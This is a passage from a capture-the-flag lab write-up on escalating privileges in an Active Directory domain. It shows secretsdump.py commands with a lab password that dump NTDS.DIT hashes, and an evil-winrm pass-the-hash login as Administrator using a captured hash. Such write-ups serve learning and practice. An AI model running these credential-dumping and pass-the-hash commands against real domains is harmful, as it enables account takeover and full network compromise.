This flag is in a file called PrivEsc on backup's desktop.
## Elevating privileges within the domain
The CTF now reveals that the backup account has all AD changes synced to it, including NT hashes, and that we can use [[Impacket]]'s secretsdump.py file to obtain these from NTDS.DIT.
```bash
python3 \
/usr/share/doc/python3-impacket/examples/secretsdump.py \
-dc-ip 10.10.177.198 \
-target-ip 10.10.177.198 \
spookysec.local/backup:backup2517860@THM-AD
```
(I got a bit tripped up here, as I didn't read secretsdump.py's output carefully enough - credentials are presented in the format `domain\uid:rid:lmhash:nthash`, so the relevant NTLM hash is the *last* hash for the Administrator account!)
We'll use the [[Evil-WinRM]] tool to retrieve the final flag by [passing the hash](https://en.wikipedia.org/wiki/Pass_the_hash).
```bash
evil-winrm --ip 10.10.177.198 --user Administrator \
--hash 0e0363213e37b94221497260b0bcb4fc
```
The final flag is in a file called root.txt on the Administrator account's desktop.
**Elapsed Time:** 2 h 38 min